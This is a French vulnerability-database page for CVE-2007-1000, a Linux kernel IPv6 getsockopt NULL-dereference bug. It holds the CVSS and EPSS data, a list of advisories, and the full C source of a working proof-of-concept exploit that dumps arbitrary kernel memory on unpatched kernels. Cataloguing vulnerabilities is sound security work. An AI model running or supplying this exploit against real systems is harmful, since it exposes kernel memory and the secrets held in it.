CVE-2007-1000 : Détail

CVE-2007-1000

0.22%V4
Local
2007-03-12
22h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The ipv6_getsockopt_sticky function in net/ipv6/ipv6_sockglue.c in the Linux kernel before 2.6.20.2 allows local users to read arbitrary kernel memory via certain getsockopt calls that trigger a NULL dereference.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 4172

Date de publication : 2007-07-09 22h00 +00:00
Auteur : dreyer
EDB Vérifié : Yes

/* * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak Proof Of Concept * dreyer 07-2007 * Osu, Tatakae, Sexy Pandas! * * Dumps to stdout the memory mapped between INI and END. * * CVE: CVE-2007-1000 BID: 22904 * * Affected: Linux Kernel < 2.6.20.2 * * http://bugzilla.kernel.org/show_bug.cgi?id=8134 * * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html * * For free!!! ( worth 600 EUR in zerobay! ) * */ #include <sys/mman.h> #include <netinet/in.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #define HOPOPT_OFFSET 8 #define INIADDR 0xc0100000 #define ENDADDR 0xd0000000 unsigned int i; int main(int argc, char *argv[]) { int s; unsigned int optlen; void *ptr; char value[10240]; char text[12]; fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC\n" "dreyer '07 - free feels better\n" "Dumping %p - %p to stdout\n",INIADDR,ENDADDR); s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); /* Make np->opt = NULL = 0x00000000 through IPV6_2292PKTOPTIONS */ setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0); /* Make 0x00000000 address valid */ ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (ptr != NULL) { perror("mmap"); exit(-1); } memset(ptr,0,4096); /* Make ptr point to np->opt->hopopt = (0x00000000)->hopopt = * 0x00000000 + 8 */ ptr=(char *)((char *)ptr+HOPOPT_OFFSET); i=INIADDR; while(i<ENDADDR) { /* Put in hopopt the address we want to read */ *((int *)ptr)=i; optlen=10240; /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */ getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen); if(optlen>0) { sprintf(text,"\n%08x:",i); write(1,text,strlen(text)); write(1,value,optlen); i=i+optlen; } else { /* We could not read this portion because of some error, skip it */ i=i+4; } } return 0; } // milw0rm.com [2007-07-10]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.20.1

Références

http://www.securityfocus.com/bid/22904
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/920689
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/24901
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:078
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/24777
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-489-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/24518
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/0907
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25099
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/471457
Tags : mailing-list, x_refsource_BUGTRAQ
http://fedoranews.org/cms/node/2787
Tags : vendor-advisory, x_refsource_FEDORA
http://www.redhat.com/support/errata/RHSA-2007-0169.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/25080
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/33025
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/24493
Tags : third-party-advisory, x_refsource_SECUNIA
http://fedoranews.org/cms/node/2788
Tags : vendor-advisory, x_refsource_FEDORA
http://www.ubuntu.com/usn/usn-486-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25691
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26139
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/26133
Tags : third-party-advisory, x_refsource_SECUNIA